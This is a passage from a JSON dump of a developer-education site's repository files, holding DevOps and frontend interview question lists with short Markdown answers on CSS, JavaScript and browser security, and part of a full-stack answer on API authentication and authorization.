    "content": "---\norder: 6\nbriefTitle: 'DevOps'\nbriefDescription: 'Get ready for your DevOps interview with 50 popular questions and answers that cover tools, pipelines, and key practices.'\ntitle: 'Top 50 Popular DevOps Interview Questions (and Answers)'\ndescription: 'Get ready for your DevOps interview with 50 popular questions and answers that cover tools, pipelines, and key practices.'\nauthorId: 'fernando'\nisNew: false\ndate: 2024-08-20\nseo:\n  title: 'Top 50 Popular DevOps Interview Questions (and Answers)'\n  description: 'Get ready for your DevOps interview with 50 popular questions and answers that cover tools, pipelines, and key practices.'\n  ogImageUrl: 'https://assets.roadmap.sh/guest/devops-interview-questions-x6n2w.jpg'\n  keywords:\n    - 'devops quiz'\n    - 'devops questions'\n    - 'devops interview questions'\n    - 'devops interview'\n    - 'devops test'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\nquestions:\n  - question: What is DevOps, and why is it important?\n    answer: what-is-devops.md\n    topics:\n      - 'Beginner'\n  - question: Explain the difference between continuous integration and continuous deployment.\n    answer: explain-ci-vs-cd.md\n    topics:\n      - 'Beginner'\n  - question: What is a container, and how is it different from a virtual machine?\n    answer: container-vs-vm.md\n    topics:\n      - 'Beginner'\n  - question: Name some popular CI/CD tools.\n    answer: popular-cicd-tools.md\n    topics:\n      - 'Beginner'\n  - question: What is Docker, and why is it used?\n    answer: what-is-docker.md\n    topics:\n      - 'Beginner'\n  - question: Can you explain what infrastructure as code (IaC) is?\n    answer: what-is-iac.md\n    topics:\n      - 'Beginner'\n  - question: What are some common IaC tools?\n    answer: common-iac-tools.md\n    topics:\n      - 'Beginner'\n  - question: What is version control, and why is it important in DevOps?\n    answer: what-is-version-control.md\n    topics:\n      - 'Beginner'\n  - question: Explain the concept of 'shift left' in DevOps.\n    answer: what-is-shift-left.md\n    topics:\n      - 'Beginner'\n  - question: What is a microservice, and how does it differ from a monolithic application?\n    answer: microservice-vs-monolithic.md\n    topics:\n      - 'Beginner'\n  - question: What is a build pipeline?\n    answer: build-pipelines.md\n    topics:\n      - 'Beginner'\n  - question: What is the role of a DevOps engineer?\n    answer: role-of-devops.md\n    topics:\n      - 'Beginner'\n  - question: What is Kubernetes, and why is it used?\n    answer: what-is-kubernetes.md\n    topics:\n      - 'Beginner'\n  - question: Explain the concept of orchestration in DevOps.\n    answer: orchestration.md\n    topics:\n      - 'Beginner'\n  - question: What is a load balancer, and why is it important?\n    answer: load-balancer.md\n    topics:\n      - 'Beginner'\n  - question: What is the purpose of a configuration management tool?\n    answer: purpose-of-cm.md\n    topics:\n      - 'Beginner'\n  - question: What is continuous monitoring?\n    answer: continuous-monitoring.md\n    topics:\n      - 'Beginner'\n  - question: What's the difference between horizontal and vertical scaling?\n    answer: scaling-differences.md\n    topics:\n      - 'Beginner'\n  - question: What is a rollback, and when would you perform one?\n    answer: what-is-rollback.md\n    topics:\n      - 'Beginner'\n  - question: Explain what a service mesh is\n    answer: what-is-service-mesh.md\n    topics:\n      - 'Beginner'\n  - question: Describe how you would set up a CI/CD pipeline from scratch\n    answer: cicd-setup.md\n    topics:\n      - 'Intermediate'\n  - question: How do containers help with consistency in development and production environments?\n    answer: container-consistency.md\n    topics:\n      - 'Intermediate'\n  - question: Explain the concept of 'infrastructure as code' using Terraform.\n    answer: iac-concept.md\n    topics:\n      - 'Intermediate'\n  - question: What are the benefits of using Ansible for configuration management?\n    answer: ansible-benefits.md\n    topics:\n      - 'Intermediate'\n  - question: How do you handle secrets management in a DevOps pipeline?\n    answer: secret-management.md\n    topics:\n      - 'Intermediate'\n  - question: What is GitOps, and how does it differ from traditional CI/CD?\n    answer: what-is-gitops.md\n    topics:\n      - 'Intermediate'\n  - question: Describe the process of blue-green deployment.\n    answer: blue-green-deployment.md\n    topics:\n      - 'Intermediate'\n  - question: What are the main components of Kubernetes?\n    answer: kubernetes-components.md\n    topics:\n      - 'Intermediate'\n  - question: How would you monitor the health of a Kubernetes cluster?\n    answer: cluster-health.md\n    topics:\n      - 'Intermediate'\n  - question: What is a Helm chart, and how is it used in Kubernetes?\n    answer: what-is-helm-chart.md\n    topics:\n      - 'Intermediate'\n  - question: Explain the concept of a canary release\n    answer: canary-release.md\n    topics:\n      - 'Intermediate'\n  - question: What is the role of Docker Compose in a multi-container application?\n    answer: docker-compose.md\n    topics:\n      - 'Intermediate'\n  - question: How would you implement auto-scaling in a cloud environment?\n    answer: auto-scaling.md\n    topics:\n      - 'Intermediate'\n  - question: What are some common challenges with microservices architecture?\n    answer: microservice-challenges.md\n    topics:\n      - 'Intermediate'\n  - question: How do you ensure high availability and disaster recovery in a cloud environment?\n    answer: high-availability.md\n    topics:\n      - 'Intermediate'\n  - question: What is Prometheus, and how is it used in monitoring?\n    answer: what-is-prometheus.md\n    topics:\n      - 'Intermediate'\n  - question: Describe how you would implement logging for a distributed system\n    answer: implement-logging.md\n    topics:\n      - 'Intermediate'\n  - question: How do you manage network configurations in a cloud environment?\n    answer: network-configuration.md\n    topics:\n      - 'Intermediate'\n  - question: What is the purpose of a reverse proxy, and give an example of one\n    answer: reverse-proxy.md\n    topics:\n      - 'Intermediate'\n  - question: Explain the concept of serverless computing\n    answer: serverless-computing.md\n    topics:\n      - 'Intermediate'\n  - question: How would you migrate an existing application to a containerized environment?\n    answer: migrate-environment.md\n    topics:\n      - 'Advanced'\n  - question: Describe your approach to implementing security in a DevOps pipeline (DevSecOps)\n    answer: devsecops.md\n    topics:\n      - 'Advanced'\n  - question: What are the advantages and disadvantages of using Kubernetes Operators?\n    answer: kubernetes-operators.md\n    topics:\n      - 'Advanced'\n  - question: How would you optimize a CI/CD pipeline for performance and reliability?\n    answer: optimize-cicd.md\n    topics:\n      - 'Advanced'\n  - question: Explain the process of setting up a multi-cloud infrastructure using Terraform.\n    answer: multi-cloud.md\n    topics:\n      - 'Advanced'\n  - question: How would you implement one in a Kubernetes cluster?\n    answer: multi-cloud-kubernetes.md\n    topics:\n      - 'Advanced'\n  - question: How do you handle stateful applications in a Kubernetes environment?\n    answer: stateful-applications.md\n    topics:\n      - 'Advanced'\n  - question: What are the key metrics you would monitor to ensure the health of a DevOps pipeline?\n    answer: health-monitor.md\n    topics:\n      - 'Advanced'\n  - question: How would you implement zero-downtime deployments in a high-traffic application?\n    answer: zero-downtime.md\n    topics:\n      - 'Advanced'\n  - question: Describe your approach to handling data migrations in a continuous deployment pipeline.\n    answer: data-migration.md\n    topics:\n      - 'Advanced'\n---\n\n![Popular DevOps interview questions and answers.](https://assets.roadmap.sh/guest/devops-interview-questions-x6n2w.jpg)\n\nThe evolution of technology and practices, coupled with the increase in complexity of the systems we develop, make the role of DevOps more relevant by the day.\n\nBut becoming a successful DevOps engineer is not a trivial task, especially because this role is usually the evolution of a developer looking to get more involved in other related ops areas or someone from ops who’s starting to get more directly involved in the development space.\n\nEither way, DevOps engineers work between the development and operations teams, understanding enough about each area to be able to work towards improving their interactions.\n\nBecause of this strange situation, while detailed roadmaps (be sure to check out our [DevOps roadmap](https://roadmap.sh/devops)!) help a lot, getting ready for a DevOps interview requires a lot of work.\n\nLastly, Checkout our Devops [Projects](https://roadmap.sh/devops/projects) to test your real world knowledge.\n\nHere are the most relevant DevOps interview questions you’ll likely get asked during a DevOps interview, plus a few more that will push your skills to the next level.\n\n## Preparing for your DevOps interview\n\nBefore diving into your DevOps technical interview, keep these key points in mind:\n\n1. **Understand the core concepts**: Familiarize yourself with the essentials of DevOps practices, including continuous integration/continuous deployment (CI/CD), infrastructure as code (IaC), the software development lifecycle, and containerization. Understand how these concepts contribute to the overall development lifecycle.\n2. **Practice hands-on skills**: There is a lot of practical knowledge involved in the DevOps practice, so make sure you try what you read about. Set up some CI/CD pipelines for your pet projects, understand containerization, and pick a tool to get started. The more you practice, the more prepared you’ll be for real-world problems.\n3. **Study software architecture**: While you may not have the responsibilities of an architect, having a solid understanding of software architecture principles can be a huge help. Being able to discuss the different components of a system with architects would make you a huge asset to any team.\n4. **Research the Company**: In general, it’s always a great idea to research the company you’re interviewing for. In this case, investigate the company’s DevOps practices, the technologies they use, and their overall approach to software development. This will help you demonstrate a genuine interest in their operations and come prepared with thoughtful questions.\n\nWith that out of the way, let’s move on to the specific DevOps interview questions to prepare for.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/async-ops-js.md",
    "content": "There are 4 main ways in which JavaScript allows developers to handle asynchronous calls. In the end, the result is always the same, but the final structure of the code and the way to reason about it is considerably different.\n\n- **Callbacks**. They allow you to set up a function to be called directly once the asynchronous operation is done.\n- **Promises**. Promises represent the eventual completion of an asynchronous operation, and they provide a simpler and more intuitive syntax to specify callbacks to be called on success and failure of the operation.\n- **Async/Await**. The final evolution of the promises syntax. It’s mainly syntactic sugar, but it makes asynchronous code look synchronous, which in turn makes it a lot easier to read and reason about.\n- **Event listeners**. Event listeners are callbacks that get triggered when specific events are fired (usually due to user interactions).\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/block-inline-elems.md",
    "content": "In CSS, the difference between **inline**, **inline-block**, and **block** elements is on the way they’re rendered in the web page:\n\n- **Inline**: Inline elements don’t have a width or height. Instead, they don’t start on a new line and take up only the width that’s required (based on their content). Examples: &lt;span&gt;, &lt;a&gt;.\n- **Inline-block**: Just like inline elements, here the DOM elements do not start on a new line, however, they do allow you to set a height and width on them. Example: &lt;img&gt;.\n- **Block**: Elements start on a new line, taking up the full width available by default. Their width and height can be set by you. Examples: &lt;div&gt;, &lt;p&gt;.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/box-model.md",
    "content": "The CSS box model describes the rectangular boxes generated for elements in the DOM. The box model is composed of the following layers:\n\n1. **Content**: The innermost part, where text and images appear.\n2. **Padding**: The space between the content and the border.\n3. **Border**: The outer edge of the padding, surrounding the element.\n4. **Margin:** The space outside the border, separating the element from others.\n\nBy controlling each layer individually, you can define the look of each element in the user interface.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/browser-render.md",
    "content": "The process of rendering a web page in the browser involves several steps:\n\n1. Parsing the HTML.\n2. Parsing the CSS and applying styles.\n3. Calculating the position of each element in the layout of the page.\n4. Painting the actual pixels in the screen, while at the same time sorting them into layers.\n5. Composing all layers together, to render the website on screen. This step is taking into account z-index values, opacity values and more.\n6. Running JavaScript code.\n7. Loading the asynchronous resources.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/client-storage.md",
    "content": "**Cookies** are small pieces of data stored in web browsers. They are mainly used for keeping information between HTTP requests, such as user authentication, session management, and tracking user behavior\n\nOn the other hand, **sessionStorage** is designed for temporary storage and is accessible only within the same session (i.e.., while the browser window or tab is open). Data stored in sessionStorage is lost when the browser window is closed.\n\nFinally, **localStorage** is similar to **sessionStorage** but persists even when the browser window or tab is closed and reopened. It provides long-term storage for web applications. They are very similar to cookies, however, the size limitations on localStorage are quite big compared to cookies, making it a much better alternative when storing large datasets.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/closures.md",
    "content": "When a function is defined within another function, it retains access to the variables and parameters of the outer function, even after the outer function has finished executing. That link, between the inner function and its scope inside the outer function is known as “closure”\n\nYou can use them to create private variables that can only be accessed by the inner function, you can even use them to create complex objects with access to a rich context that is only available globally to them."
  },
  {
    "path": "src/data/question-groups/frontend/content/critical-css.md",
    "content": "Remove the CSS rules from the CSS files and inline them into the main “&lt;head&gt;” element of your website.\n\nBy doing it like this, you remove the loading time of that code, as it loads immediately once the main file loads. The rest, the non-critical rules, can be loaded once the main resource loads (the main CSS file).\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/csp.md",
    "content": "Content Security Policy (CSP) is a security standard that helps to avoid cross-site scripting (XSS) attacks and other code injection attacks by defining and enforcing a whitelist of approved sources, such as scripts, stylesheets, images, and other resources.\n\nThe main benefits are:\n\n- **Better Security**: CSP helps protect websites and web apps against various types of attacks, including XSS and data injection.\n- **More Contro**l: Developers can define fine-grained policies to control the sources from which content can be loaded.\n- **Improved Compliance**: Helps meet security compliance requirements, such as those outlined in OWASP Top 10."
  },
  {
    "path": "src/data/question-groups/frontend/content/css-grid.md",
    "content": "To create a grid layout, you have to first specify the “display:grid” property on the containing element, and then define the structure of the grid, by using the “grid-template-rows” and “grid-template-columns” properties.\n\nNow simply place the elements inside the grid container and specify the “grid-column” or “grid-row” properties.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/css-specificity.md",
    "content": "CSS specificity is used to determine which set of styles to apply on any given element when there are overlapping styles (like several rules setting the font-size of the same element).\n\nThe way it works is by applying the following order of precedence:\n\n1. First, any inline style will override any other style.\n2. Second, any ID-based style will override anything but inline styles.\n3. Third, class-based selectors will override anything but inline and ID-based styles.\n4. Finally, type selectors can be overridden by any other type of selectors.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/css-variables.md",
    "content": "Just like variables in [frontend programming languages](https://roadmap.sh/frontend/languages), CSS variables can be set by developers and reused across the entire CSS stylesheets. They’re great for centralizing global values that are used throughout the web site’s code.\n\nThey’re also heavily used by CSS frameworks to set constants such as the value of colors (i.e. “black” being “#222” instead of “000”.)\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/dom.md",
    "content": "The Document Object Model (DOM) is an API for web documents. It represents the structure of an HTML web page as a tree of nodes, where each node corresponds to a part of the document (i.e. an element, an attribute, or text).\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/em-vs-rem.md",
    "content": "![EM vs REM in CSS](https://assets.roadmap.sh/guest/em-vs-rem-css-jwgx8.png)\n\nThey’re both relative units of measurement, however, they’re relative to different things:\n\n1. **“em”** units are relative to the font size of their parent element. So if the parent element has a font size of 20px, then setting a “2em” font size, would equal to 40px.\n2. **“rem”** units are “root em”, which means they’re relative to the web page’s root element (the “&lt;html&gt;” element).\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/event-delegation.md",
    "content": "Event delegation is a technique where you define an event handler for a particular event as part of the parent element that contains the elements that will actually trigger the event.\n\n![Event Delegation in JavaScript](https://assets.roadmap.sh/guest/event-delegation-explained-5e2vt.png)\n\nWhen the event is triggered, it’ll bubble up in the DOM hierarchy until it reaches the parent’s event handler.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/event-listeners.md",
    "content": "To add an event listener on an element, you have to first “get” that element through one of the many methods of the document object (i.e. getElementById, etc) and then use the addEventListener method of the obtained object.\n\nThe method will receive the event name (i.e. ‘click’, ‘keyup’, ‘mouseup’, etc), the event handler function and, optionally, a boolean indicating whether the event should be captured during the capturing phase."
  },
  {
    "path": "src/data/question-groups/frontend/content/event-loop-js.md",
    "content": "The event loop is a core concept in JavaScript, and it allows for the execution of asynchronous code.\n\n![Event loop in JavaScript](https://assets.roadmap.sh/guest/javascript-event-loop-explained-d92hx.png)\n\nThe way it works, is as follows:\n\n1. **Call Stack**: JavaScript executes your code on a single thread using a call stack, where function calls are added and executed one by one. When a function ends, it's removed from the stack.\n2. **Async calls**: For asynchronous operations, JavaScript uses Web APIs provided by the browser. These operations are offloaded from the call stack and handled separately.\n3. **Tasks Queue**: Once an asynchronous call is done, its callback is placed in the task queue.\n4. **Event Loop**: The event loop constantly checks the call stack and the task queue. If the call stack is empty, it takes the first task from the queue and pushes it onto the call stack for execution. This cycle repeats indefinitely.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/flexbox-layout.md",
    "content": "To create a flexbox layout, you have to take care of 2 main steps:\n\n1. Set up the container element by applying the “display:flexbox” CSS property to it.\n2. Set up the flexbox properties for each element inside the container (something like “flex:1” would suffice).\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/id-vs-class.md",
    "content": "An **id** is a unique identifier for a single HTML element. A **class** is a reusable identifier that can be applied to multiple elements.\n\n![ID vs Class in HTML](https://assets.roadmap.sh/guest/css-classes-vs-id-example-9ufsl.png)\n\nYou’d want to use an **id** when you need to address a single element either through CSS or JavaScript. And you’ll want to use a **class** when you need to address a group of DOM elements.\n\nIn CSS:\n\n- **#id** selects a specific element with that id.\n- **.class** selects all elements with that class.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/improve-web-perf.md",
    "content": "The main set of metrics to monitor for web apps are:\n\n1. First Contentful Paint (FCP): Time until the first piece of content is rendered.\n2. Largest Contentful Paint (LCP): Time until the largest content element is rendered.\n3. Time to Interactive (TTI): Time until the page is fully interactive.\n4. Total Blocking Time (TBT): Total time during which the main thread is blocked.\n5. Cumulative Layout Shift (CLS): Measures visual stability.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/js-promises.md",
    "content": "Promises are JavaScript objects that represent the eventual completion of an asynchronous call. Through promises you’re able to handle the successful or failed execution of the asynchronous call."
  },
  {
    "path": "src/data/question-groups/frontend/content/media-queries.md",
    "content": "Media queries are a feature in CSS that allow Front End developers to apply different styles to a document based on various characteristics of the device or viewport. For example, you can set different styles based on the device’s width, height, orientation, or type.\n\nThrough media queries we can achieve responsive design allowing styles to adapt to different screen sizes and device capabilities.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/null-vs-undefined.md",
    "content": "In JavaScript, “undefined” is the default value new variables take, and it means the variable has been defined but it hasn’t been assigned any value just yet.\n\nAnd “null” is actually a value that signals “no value” or “no object”, it is specifically assigned to the variable by the developer."
  },
  {
    "path": "src/data/question-groups/frontend/content/optimize-assets.md",
    "content": "There are different techniques to improve loading times, depending on the asset type, for example:\n\n- CSS & JavaScript files should be minimized and compressed.\n- Images can be compressed when you’re saving them or through the use of specialized software, like [JPEGOptim](https://github.com/tjko/jpegoptim) or [ImageOptim](https://imageoptim.com/mac). Just make sure you don’t lose any quality during the process."
  },
  {
    "path": "src/data/question-groups/frontend/content/same-origin-policy.md",
    "content": "The same-origin policy is a security feature in browsers designed to prevent a web site from accessing data (like importing a script, or sending a request to an API) from another site.\n\nThis policy helps protect users from malicious scripts that try to steal sensitive data from other websites, such as cookies, local storage, or content\n\nA way to overcome this limitation is through CORS (Cross-Origin Resource Sharing). As long as the server specifies which domain it can receive requests from, and the client app sends the right headers, they will be able to interact with each other, even if they’re not in the same domain."
  },
  {
    "path": "src/data/question-groups/frontend/content/seo-best-practices.md",
    "content": "Purely from the HTML side:\n\n- **Use Semantic HTML**: Use tags like &lt;header&gt;, &lt;nav&gt;, &lt;main&gt;, &lt;article&gt;, &lt;section&gt;, and &lt;footer&gt; to provide meaningful structure.\n- **Proper Heading Hierarchy**: Use headings (&lt;h1&gt; to &lt;h6&gt;) correctly, making sure &lt;h1&gt; is used once per page for the main title, followed by &lt;h2&gt;, &lt;h3&gt;, etc.\n- **Meta Tags**: Include relevant &lt;meta&gt; tags, such as description, keywords, and viewport, to provide metadata about the website.\n- **Alt Attributes on images**: Use alt attributes for images to describe the content, improving accessibility and search engine understanding.\n\nOn top of that:\n\n- **Internal Linking**: Make sure to use internal links to connect content within your web site, helping search engines crawl and understand the site structure.\n- **Mobile-Friendly Design**: Code your site and CSS with a mobile-first mindset. Ensuring the site is responsive and mobile-friendly to improve user experience and ranking on search engines.\n- **Fast Loading Times**: Try to optimize images, use efficient code, and leverage caching to improve page load speeds. The faster the page loads, the bigger the advantage it’ll have against other similar results on the SERP.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/service-workers.md",
    "content": "Service workers are scripts that run in the background of a web application, separate from the web page’s main thread, and provide features like offline caching, push notifications, and background synchronization."
  },
  {
    "path": "src/data/question-groups/frontend/content/ssr-when.md",
    "content": "Server-side rendering (SSR) is a technique in which a web server generates the HTML content of a web page and sends it to the client (usually a web browser) as a fully rendered document. This is the opposite of what naturally happens with client-side rendering (CSR), where the browser downloads a minimal HTML page and then uses JavaScript to render the content dynamically.\n\nThere are several ideal use cases for SSR:\n\n- **Content-rich websites**. For example, news sites, blogs, etc.\n- **SEO-heavy applications**. When the success of the web app relies on SEO, this approach can greatly improve the performance of the site (and because of that, the SEO performance).\n- **Progressive web applications**. When the application needs to render fast to provide a fast and performance user experience, the application can initially be rendered on the server, and then hydrated on the client for subsequent integrations.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/state-mgmt-spa.md",
    "content": "Without a full framework or library like React or Vue.js, properly handling state management is not a trivial task.\n\nSome options available through the language itself are:\n\n- **Global Variables**: You can use global variables, or perhaps a global object to centralize state. The problem with this approach is that it can become quite unmanageable for large applications. It’s also a lot harder to maintain local state inside single components.\n- **Module Pattern**: You can use this pattern to encapsulate state and provide a clear API to manage it. You would have to instantiate local instances of these modules for individual components.\n- **Pub/Sub Pattern**: This option is more sophisticated, and it decouples state changes using event-driven architecture. It’s a more complex solution, but it provides a bigger flexibility.\n- **State Management Libraries**: You can always use something like [Redux](https://redux.js.org/) or similar libraries without frameworks.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/tree-shaking.md",
    "content": "Tree shaking is a technique used in JavaScript module bundlers, like Webpack or Vite, to remove unused code from the final bundled output.\n\nMain benefits include:\n\n1. **Reduced Bundle Size:** Removing unused code reduces the size of the JavaScript bundle sent to the client, improving load times and reducing bandwidth usage.\n2. **Improved Performance:** Smaller bundle sizes can lead to faster parsing and execution times, resulting in improved performance and responsiveness of the web application.\n3. **Better Resource Utilization:** Developers can write modular code without worrying about unused dependencies bloating the final bundle size.\n"
  },
  {
    "path": "src/data/question-groups/frontend/content/vdom.md",
    "content": "![Virtual DOM](https://assets.roadmap.sh/guest/virtual-dom-example-7ynkg.png)\n\nThe way the virtual DOM works is the following:\n\n1. The entire user interface is copied into an in-memory structure called “virtual DOM”, which is a lightweight version of the actual DOM.\n2. When state changes and the UI needs to be updated, a new virtual DOM is created with the updated state.\n3. Then a diff is made between the new virtual DOM and the previous version.\n4. The system will then calculate the least amount of changes required to achieve the new state, and it’ll apply those changes. Only the nodes that need to be updated are touched, which minimizes direct manipulation of the real DOM.\n\nAs for advantages:\n\n- **Performance optimization**: By only updating specific nodes within the real DOM, this technique reduces the number of updates, reflows and repaints on the UI. Directly affecting the performance of the app.\n- **Cross-platform**. The virtual DOM provides a layer of abstraction between the application and the actual API that renders the UI. This means the app can be ported into other platforms as long as there is a virtual DOM implementation for that platform.\n- **Consistency**. This technique keeps the UI in sync with the internal state, reducing bugs and inconsistencies.\n"
  },
  {
    "path": "src/data/question-groups/frontend/frontend.md",
    "content": "---\norder: 5\nbriefTitle: 'Frontend'\nbriefDescription: 'Test, Rate and Improve your Frontend knowledge with these questions.'\ntitle: 'Top 30 Popular Front End Developer Interview Questions'\ndescription: 'Test, Rate and Improve your Frontend knowledge with these questions.'\nauthorId: 'fernando'\nisNew: false\ndate: 2024-05-24\nrelatedTitle: \"Other Guides\"\nrelatedGuidesId: 'frontend'\nseo:\n  title: 'Top 30 Popular Front End Developer Interview Questions'\n  description: 'Nail your frontend developer interview with these 30 popularly asked questions and answers. Test your knowledge with our quiz cards!'\n  ogImageUrl: 'https://assets.roadmap.sh/guest/frontend-developer-interview-questions-ezbj6.jpg'\n  keywords:\n    - 'frontend quiz'\n    - 'frontend questions'\n    - 'frontend interview questions'\n    - 'frontend interview'\n    - 'frontend test'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\nquestions:\n  - question: What is the difference between an id and a class in HTML/CSS?\n    answer: id-vs-class.md\n    topics:\n      - 'Beginner'\n  - question: Can you explain the box model in CSS?\n    answer: box-model.md\n    topics:\n      - 'Beginner'\n  - question: What is the difference between inline, inline-block, and block elements?\n    answer: block-inline-elems.md\n    topics:\n      - 'Beginner'\n  - question: What are some SEO best practices when structuring an HTML document?\n    answer: seo-best-practices.md\n    topics:\n      - 'Beginner'\n  - question: What is the Document Object Model (DOM)?\n    answer: dom.md\n    topics:\n      - 'Beginner'\n  - question: How do you add an event listener to an element?\n    answer: event-listeners.md\n    topics:\n      - 'Beginner'\n  - question: What is the difference between null and undefined?\n    answer: null-vs-undefined.md\n    topics:\n      - 'Beginner'\n  - question: What is the difference between cookies, sessionStorage, and localStorage?\n    answer: client-storage.md\n    topics:\n      - 'Beginner'\n  - question: How does the browser render a website?\n    answer: browser-render.md\n    topics:\n      - 'Beginner'\n  - question: What are media queries?\n    answer: media-queries.md\n    topics:\n      - 'Beginner'\n  - question: What is the difference between the em and rem units?\n    answer: em-vs-rem.md\n    topics:\n      - 'Intermediate'\n  - question: How do you create a flexbox layout?\n    answer: flexbox-layout.md\n    topics:\n      - 'Intermediate'\n  - question: Can you explain CSS specificity and how it works?\n    answer: css-specificity.md\n    topics:\n      - 'Intermediate'\n  - question: How can you create a CSS grid layout?\n    answer: css-grid.md\n    topics:\n      - 'Intermediate'\n  - question: What are closures, and how/why would you use them?\n    answer: closures.md\n    topics:\n      - 'Intermediate'\n  - question: Can you explain what event delegation is in JavaScript?\n    answer: event-delegation.md\n    topics:\n      - 'Intermediate'\n  - question: What are promises, and how do they work?\n    answer: js-promises.md\n    topics:\n      - 'Intermediate'\n  - question: How do you optimize website assets for better loading times?\n    answer: optimize-assets.md\n    topics:\n      - 'Intermediate'\n  - question: What are service workers, and what are they used for?\n    answer: service-workers.md\n    topics:\n      - 'Intermediate'\n  - question: What is the Same-Origin Policy in web development?\n    answer: same-origin-policy.md\n    topics:\n      - 'Intermediate'\n  - question: What are CSS variables, and when would you use them?\n    answer: css-variables.md\n    topics:\n      - 'Advanced'\n  - question: How would you implement critical CSS to improve the perceived load time of your web pages?\n    answer: critical-css.md\n    topics:\n      - 'Advanced'\n  - question: How does the event loop work in JavaScript?\n    answer: event-loop-js.md\n    topics:\n      - 'Advanced'\n  - question: What are the different ways to handle asynchronous operations in JavaScript?\n    answer: async-ops-js.md\n    topics:\n      - 'Advanced'\n  - question: How do you handle state management in single-page applications?\n    answer: state-mgmt-spa.md\n    topics:\n      - 'Advanced'\n  - question: How does virtual DOM work, and what are its advantages?\n    answer: vdom.md\n    topics:\n      - 'Advanced'\n  - question: What is server-side rendering, and when might you use it?\n    answer: ssr-when.md\n    topics:\n      - 'Advanced'\n  - question: How do you analyze and improve the performance of a web application?\n    answer: improve-web-perf.md\n    topics:\n      - 'Advanced'\n  - question: What is Content Security Policy (CSP), and how does it improve the security of web applications?\n    answer: csp.md\n    topics:\n      - 'Advanced'\n  - question: What is tree shaking, and how does it help with the performance of a web application?\n    answer: tree-shaking.md\n    topics:\n      - 'Advanced'\n---\n\n![Popular frontend developer interview questions and answers.](https://assets.roadmap.sh/guest/frontend-developer-interview-questions-ezbj6.jpg)\n\nPreparing for your front end web development interview is key to achieving a successful outcome, but understanding what kind of questions or topics are going to be asked is not easy.\n\nSo to help you get ready for your upcoming front end developer interview, here are 30 technical interview questions about web development with a focus on the front end, in other words, about JavaScript, HTML, and CSS.\n\nKeep in mind that they’re grouped by difficulty into three categories: beginners, intermediate and advanced. Ideally, you should aim to understand all of them, and if you find yourself not able to continue, consider checking out the [Frontend roadmap](https://roadmap.sh/frontend) to figure out what to focus your studies on.\n\n## Preparing for your Front End interview\n\nBefore jumping straight into front end interview prep, here are some key points to keep in mind:\n\n1. **Master the Fundamentals**: Before you start to solve complex problems, you need to make sure you have a solid understanding of front end development basics. This includes HTML, CSS, and JavaScript, as well as how they work together to create responsive, interactive web pages. Remember that you have the [Frontend](https://roadmap.sh/frontend) roadmap available if you feel you still need to learn more about any of these topics.\n2. **Practice Coding**: You can improve your [frontend coding skills](https://roadmap.sh/frontend/developer-skills) through [mini-projects](https://roadmap.sh/frontend/projects) or by solving problems on platforms like [LeetCode](https://leetcode.com/) and [HackerRank](https://www.hackerrank.com/). Focus on challenges related to front end development.\n3. **Learn Modern Frameworks and Libraries**: Get to know popular [frameworks](https://roadmap.sh/frontend/frameworks) and libraries such as [React](https://roadmap.sh/react), [Angular](https://roadmap.sh/angular), or [Vue.js](https://roadmap.sh/vue). Understanding these tools is often crucial for modern front end roles.\n4. **Tackle the foundational tools of your dev workflow**: Make sure you’re comfortable with essential tools and practices such as version control (e.g., Git), testing (unit and integration testing), and build tools (e.g., Vite). These are crucial for any front end role.\n5. **Understand UI/UX Principles**: Understanding basic concepts of design and user experience can set you apart as a front end developer. Try to learn about accessibility, responsive design, and how to create intuitive interfaces.\n6. **Research the Company**: Show some interest in the company you’re interviewing with by learning about their business and products. Prepare some questions to ask during the interview to show you care about the role.\n7. **Improve your communication skills**. This one is not front end-specific, however, it’s always a good idea to invest in your future.\n\nWith these tips out of the way, let's now get into some of the most common Front End interview questions that you’ll encounter!\n"
  },
  {
    "path": "src/data/question-groups/full-stack/content/api-security.md",
    "content": "Rather than overlapping each other, authorization and authentication reference two very distinct stages of security within your app. \n\n##### Authentication\n\nOn one side, we have authentication, in charge of verifying the user identity. You can use tokens (e.g., JWT, OAuth) or sessions for this.\n\nExample: Validate a JWT sent in headers:  \n\n```javascript\nconst token = req.headers['authorization'];\njwt.verify(token, secretKey, (err, decoded) => { ... });\n```\n\n##### Authorization\n\nOnce authenticated, users need to be authorized to access the resources. For this to work, you’ll need to define roles  and permissions for your users.\n\nMiddleware example:  \n\n```javascript\napp.use((req, res, next) => {\n  if (req.user.role !== 'admin') return res.status(403).send('Forbidden');\n  next();\n});\n```\n\n##### Best Practices\n\n* Use HTTPS to ensure a secure channel between the browser and the server.  \n* Validate input to prevent injection attacks.  \n* Rate-limit API requests to avoid having your APIs overwhelmed by potential attackers.  \n* Store sensitive data securely (e.g., hashed passwords)."
  },
  {
    "path": "src/data/question-groups/full-stack/content/async-javascript.md",
